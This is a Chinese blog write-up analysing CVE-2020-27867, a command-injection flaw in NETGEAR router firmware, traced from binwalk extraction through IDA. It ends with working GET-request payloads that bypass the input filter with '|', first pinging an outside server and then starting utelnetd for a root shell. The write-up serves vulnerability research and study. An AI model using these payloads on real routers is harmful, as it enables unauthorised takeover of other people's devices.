【CVE.0x04】CVE-2020-27867 NETGEAR 路由器 RCE 漏洞复习及简要分析

本文最后更新于:2021年8月23日 下午

MIPS 大法好

MIPS 太憨憨了,还是 X86 好(恼)

0x00.一切开始之前

以下都是废话233333

美国网件公司NETGEAR)是一家专门做网络设备的公司。在2020年末其旗下多款路由器产品被爆出存在远程代码执行漏洞——mini_httpd 服务中对其提供的帆游加速器功能的参数解析存在缺陷从而导致可以进行命令注入,从而在远程主机执行任意代码——虽然此种利用需要身份验证,但据悉现有的身份验证机制并不难绕过

cve.mitre.org 上对该漏洞说明如下:

This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of NETGEAR R6020, R6080, R6120, R6220, R6260, R6700v2, R6800, R6900v2, R7450, JNR3210, WNR2020, Nighthawk AC2100, and Nighthawk AC2400 routers. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed. The specific flaw exists within the mini_httpd service, which listens on TCP port 80 by default. When parsing the funjsq_access_token parameter, the process does not properly validate a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-11653.

影响版本

参见官网

复现环境搭建

笔者本人比较穷,买不起网件的路由器(哭哭),但最终还是有幸从朋友那借来了一台 R6800 机器,得以对该漏洞进行复现

image.png

前面这几百字讲了一堆废话倒是真的hhhh

0x01.漏洞分析

文件提取

首先在官网下载对应版本(1.2.0.74)的固件,解压后得到一个 img 镜像文件

使用 binwalk 提取其中的内容:

1
$ binwalk -e 

得到两个文件 200.zip R6950.bin,其中前者为后者的压缩包,继续使用 binwalk 解压后者,得到的 squashfs-root 文件夹便是该设备的文件系统

在文件系统中有着大量的软链接,大部分最终都是指向 usr/sbin 目录,相应地 init 进程指向的是 usr/sbin/busybox

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ ll
total 84
drwxr-xr-x 12 arttnba3 arttnba3 4096 Aug 18 20:14 ./
drwxrwxr-x 3 arttnba3 arttnba3 4096 Aug 18 20:56 ../
lrwxrwxrwx 1 arttnba3 arttnba3 9 Aug 17 2020 bin -> usr/sbin//
drwxrwxr-x 2 arttnba3 arttnba3 4096 Aug 15 2015 data/
drwxr-xr-x 2 arttnba3 arttnba3 4096 Oct 18 2015 dev/
lrwxrwxrwx 1 arttnba3 arttnba3 8 Aug 17 2020 etc -> /tmp/etc
lrwxrwxrwx 1 arttnba3 arttnba3 11 Aug 17 2020 etc_ro -> /tmp/etc_ro
lrwxrwxrwx 1 arttnba3 arttnba3 20 Aug 17 2020 home -> /tmp/home_directory/
lrwxrwxrwx 1 arttnba3 arttnba3 11 Aug 17 2020 init -> bin/busybox*
drwxr-xr-x 6 arttnba3 arttnba3 12288 Aug 17 2020 lib/
drwxr-xr-x 2 arttnba3 arttnba3 4096 Dec 2 2012 media/
lrwxrwxrwx 1 arttnba3 arttnba3 8 Aug 17 2020 mnt -> /tmp/mnt
drwxrwxr-x 6 arttnba3 arttnba3 4096 Aug 17 2020 opt/
drwxr-xr-x 2 arttnba3 arttnba3 4096 Nov 12 2000 proc/
lrwxrwxrwx 1 arttnba3 arttnba3 9 Aug 17 2020 sbin -> usr/sbin//
drwxr-xr-x 2 arttnba3 arttnba3 4096 Nov 16 2008 sys/
drwxr-xr-x 2 arttnba3 arttnba3 4096 Jul 28 2000 tmp/
drwxr-xr-x 11 arttnba3 arttnba3 4096 Aug 18 18:59 usr/
lrwxrwxrwx 1 arttnba3 arttnba3 8 Aug 17 2020 var -> /tmp/var
lrwxrwxrwx 1 arttnba3 arttnba3 8 Aug 17 2020 www -> /tmp/www
drwxrwxr-x 8 arttnba3 arttnba3 32768 Aug 17 2020 www.eng/

usr 目录下还有一个文件 funjsq_plugin_netgear_r6800.tar.gz,解压:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ tar -zxvf funjsq_plugin_netgear_r6800.tar.gz
./tmp/
./tmp/funjsq/
./tmp/funjsq/bin/
./tmp/funjsq/bin/funjsq_cli
./tmp/funjsq/bin/funjsq_ctl
./tmp/funjsq/bin/funjsq_nslookup
./tmp/funjsq/bin/funjsq_conntime
./tmp/funjsq/bin/funjsq_daemon
./tmp/funjsq/bin/funjsq_detect
./tmp/funjsq/bin/funjsq_dns
./tmp/funjsq/bin/funjsq_httpd
./tmp/funjsq/bin/funjsq_inetd
./tmp/funjsq/bin/funjsq_redis
./tmp/funjsq/bin/funjsq.sh
./tmp/funjsq/config/
./tmp/funjsq/config/dnsmasq.d/
./tmp/funjsq/config/dnsmasq.d/funjsq101.conf
./tmp/funjsq/config/dnsmasq.d/blocklistDL.conf
./tmp/funjsq/config/dnsmasq.d/blocklistGW.conf
./tmp/funjsq/config/dnsmasq.d/funjsq100.conf
./tmp/funjsq/config/values/
./tmp/funjsq/config/funjsqdetect.dat
./tmp/funjsq/config/funjsqMSG.json
./tmp/funjsq/config/funjsq_ca
./tmp/funjsq/config/httpd/
./tmp/funjsq/config/httpd/key.pem
./tmp/funjsq/config/httpd/cert.pem

程序分析

在漏洞通告中说到该漏洞存在于 mini_httpd 服务中

img.png

burp suite简单测试一下我们可以发现大部分 http 请求都是通过 setup.cgi 来进行的,该文件存在于 /usr/sbin/ 目录下

image.png

拖入 IDA进行分析,查找 funjsq_access_token 字符串

image.png

XREF 到 sub_407C80() 函数,其中会通过 find_val() 函数提取出 funjsq_access_token 参数,进行命令拼接后通过 COMMAND()(本质上其实就是 sh)执行,我们不难想到的是若是能够插入诸如 ";" 或者 "&&" 这样的分隔符等,便能够执行我们想要执行的命令,即存在一个命令注入的 RCE 漏洞

image.png

调用回溯,发现一张如下结构的函数表,我们的 sub_407C80() 刚好对应 funjsq_login

1
2
3
4
5
struct typedef
{
char * func_name;
void (*func_ptr)();
}StrFunc;

image.png

我们可以发现在 CallActionByName() 函数中会根据传入的字符串通过函数表调用对应的函数

image.png

最后回溯到 main 函数,我们可以发现对于传入的 todo 参数而言其会调用 CallActionByName() 函数进行解析

image.png

在 main 函数中执行到该段代码之前还有一系列的检查,不过主要针对 POST 请求,故我们可以直接走 GET 请求来避免一系列的检查

最终我们可以知道通过如下 payload 便能够跳转到出现问题的 sub_407C80() 函数:

1
http://192.168.1.1/setup.cgi?todo=funjsq_login&next_file=basic_wait.htm&funjsq_access_token=

find_val() 中还会对命令注入进行过滤,不过功能较弱image.png

0x02.漏洞利用

该漏洞仅验证用户(可以登入路由器页面)可以使用,常规情况下则还需要想方法绕过用户验证

刚开始学web,这个真不会…先把二进制的部分(本漏洞)整好先…

poc

在 mini_httpd 服务中似乎有着一定的过滤的机制,诸如 ;&&||等都会被过滤掉,直接返回 403

image.png

最终笔者使用|成功绕过,笔者在这里选择执行 ping 指令简单看一下效果

1
http://192.168.1.1/setup.cgi?todo=funjsq_login&next_file=basic_wait.htm&funjsq_access_token=|ping%20-c5%20sec.arttnba3.cn

若是成功进入执行命令的流程则应当有如下回显,见到这个回显说明代码成功执行到了该处

image.png

image.png

笔者使用 tcpdump -i eth0 icmp 命令在服务器上查看发现果然成功收到了来自该路由器的 ping 包,命令执行成功

image.png

需要注意的是 COMMAND() 执行命令时会等待其返回才会执行下一条命令,故若是需要同时执行多个命令应当使用 &(url编码%26)将一些长期执行的命令转入后台执行,否则其会一直等待当前命令执行完毕后才会执行下一条命令

刚拿到命令执行时我执行了 ping my_server_address,没有限制次数,导致后续命令都卡在了 ping 后边没法执行,最后我和学长在公司看了四分之一个下午才发现这个玄学问题的成因…

exp

这台机子自带 telnet,直接通过 telnet 连接上去即可

1
http://192.168.1.1/setup.cgi?todo=funjsq_login&next_file=basic_wait.htm&funjsq_access_token=|utelnetd%26

运行,成功通过 telnet 连接获取到一个 shell

image.png

image.png

0xFF.What’s more…

在后续官方给出的新版本固件中虽然修复了该漏洞,但是没有完全修复,使得其成为了简中特供漏洞

下图来自微博 @blackorbird

是你🦄 @BlackBird

img.JPG

漏洞细节暂时不能讲,感兴趣的也不推荐私信我hhhhhh